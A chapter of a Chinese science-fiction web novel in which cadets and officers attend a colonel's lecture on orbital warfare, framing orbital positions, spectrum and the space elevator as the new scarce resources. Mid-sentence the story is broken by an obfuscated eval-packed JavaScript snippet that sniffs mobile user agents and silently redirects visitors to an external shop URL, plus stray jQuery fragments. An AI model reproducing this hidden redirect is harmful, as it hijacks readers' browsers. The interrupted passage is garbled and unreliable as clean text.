《新战争理论》的正式开课通知挂在教务系统里，位置不起眼，加课人数却在一周内默默过了上限。按校方的说法，这门课"面向对轨道作战方向有明确意向的学员"，没有考试，只有一份贯穿全学期的综合推演作为评分依据。这类措辞在赫利俄斯通常意味着两件事：内容难度高，来头不简单。
克拉伦斯是被加课的。那门工科离他而去后，取而代之的就是这一门课。当然，作为一门提前开课的高难度进阶选修，像他这样直接被教务安排的毕竟是少数，大部分来上课的同学仍然逃不过抢课，上课，占座位这套标准流程。
这门课的主讲教授是世界联合太空军的现役大校姜鸣镝。上学期作息改革辩论会上那位以编外身份旁听、说"纪律正在破坏战斗力"的年轻大校，本学期受校方之邀来校担任这门课的主讲。WULA的近地轨道作战理论体系构建过程中不乏此人的参与，教材第三章的编撰者名单上他的名字排第二个，排在首席科学官奥本海默的序言后面。姜鸣镝走上讲台时没有带教案，只带了一只保温杯和一块擦得干干净净的老式机械表。他的头发剃得极短，鬓角微霜，身形挺拔，军常服的领口扣到最上面一颗，整个人往讲台上一站，阶梯教室的声浪便自动往下压了两度。
这门课本就是拔高课。阶梯教室里除了赫利俄斯的学生之外，整个左前侧席位上整齐落座了一批军官。空天军的深蓝色军常服与海军的白色军常服吸引了不少人的目光。最前列是身着星黑色常服的两列军官，坐姿统一，肩线齐得像刀切。赫利俄斯学员的黑灰色军常服夹在中间，四种颜色把阶梯教室的横截面染成了四块分明的色带。
"海军和空天军？"
"并不意外。"秋山光的声音不大，刚好够克拉伦斯一个人听见，"太空作战的形式相较于空军更接近海军。前两排是现役太空军军官。"
克拉伦斯抬了抬眉看向旁边的人，秋山光。严格来说他并不算陌生，专业课上临场判断的速度让他有过印象，上学期的坦歼战，在尼禄那个组里打出了14杀的成绩，卡塞尔在事后看过很多次他们车组的配合，印象最深的就是秋山光。他坐在克拉伦斯右侧，军常服的袖子卷了一道边，手腕上什么都没有戴。一个干净到几乎没有特征的人，除了眼睛。
旧时代有一句老话，眼睛是心灵的窗户。凭这一点下定论当然荒谬，但克拉伦斯对识别同类显然有他自己的一套逻辑。秋山光话不多，语速也不算快，对大部分的活动安排投以平等的漠视，也鲜少参与什么集体活动。实力硬，话极少，若是抛开那双毫不避讳寒意的目光，确实很容易将他漏过去。
秋山光见他看向自己，两人在短暂的目光交错中各自确认了一些东西，随后意识到他们还没有过正式介绍，秋山光更快一步，伸出了手。
"秋山光。"
"克拉伦斯·卡塞尔。"
前排落座的伊琳娜并没有把注意力放在和同学互相认识上。她坐得笔直，笔记本摊开，笔帽已经摘了下来，似乎在等一个值得使用笔记空间的问题。上课前的三分钟对她而言同样不值得浪费。
姜鸣镝拧开保温杯的盖子，热气升起来。打开全息投影后说的第一句话是：
"《矛盾论》中提出，事物发展的根本原因在于内部矛盾。"
全息投影在讲台上方展开了第一张图，地球近地空间的三维模型，轨道以不同颜色标注，拉格朗日点被红色光点标出，太空电梯的轨道锚点在最上方缓慢旋转。
"将此范式推入近地空间"姜鸣镝把杯子搁下，"一个根本性的转变发生了。"
翻到第二张图。并列两栏，左栏标注"地面战争"，右栏标注"轨道战争"。
"地面战争的主要矛盾是'人与地的矛盾'谁占有土地、资源、人口。能源战争三十七年，打的归根结底是这一条。轨道战争的主要矛盾则演变为——"
翻页。
"'人与位的矛盾'。谁占有轨道位置。谁占有频谱资源。谁占有引力势能。"
第三张图展开。近地轨道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942329|213613||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上密集的光点像被磁铁吸附的铁屑一样分布在一条狭窄的环带上，其中五个点被高亮标红：L1到L5。地球同步轨道用金色线圈了出来，圈内只有一条很窄的带子。太空电梯的地面锚点和轨道锚点之间连了一条银色的虚线。
"地球同步轨道是稀缺的环。太空电梯的锚点——"姜鸣镝指了指那条银色虚线连接地面的那一点，"独一无二。这些'位'的稀缺性构成了二十二世纪太空冲突的物质基础。"
他停了片刻。阶梯教室里安静得能听见前排军官在笔记本上写字的声音。笔尖擦过纸面，沙沙的，不快不慢。
"然而矛盾论告诉我们，稀缺并非天然，它是特定生产力水平下的历史产物。"
翻到第四张图。时间轴。左侧标注"21世纪末—能源战争"：裂变能与聚变能的控制权。中间是"22世纪初—新世纪"：太空电梯和轨道工业让能源稀缺缓解。右侧打了三个问号。
"能源战争打的是能源的稀缺。新世纪开始后，冷核聚变把能源变得像空气一样无处不在——旧的稀缺解决了。但新的稀缺，即轨道稀缺随之诞生。"
姜鸣镝把双手撑在讲台上。
"这就是矛盾运动的规律：旧矛盾解决之时，正是新矛盾形成之日。"
他拿起保温杯喝了一口，给底下人片刻的消化时间，然后关掉投影。右手在黑板上写了一行字，粉笔字写得很快但极齐整，拉格朗日点、同步轨道、频谱资源。三个词之间各画了一条双向箭头。
"从这个分析出发，你们自己推导：如果轨道稀缺是当前的主要矛盾，那么解决这个矛盾的方式有几种？在座的太空军同僚不需要回答，请把机会留给赫利俄斯的学生们。"
克拉伦斯在笔记本上写上：占有更多轨道位、提高单位轨道的利用率、改变"位"的定义本身。第三条下面画了两道杠。
秋山光斜了一眼他的笔记，在笔记本上的答案与克拉伦斯类似，但对改变位的定义这一条延申了一步，多加了一个引力势能。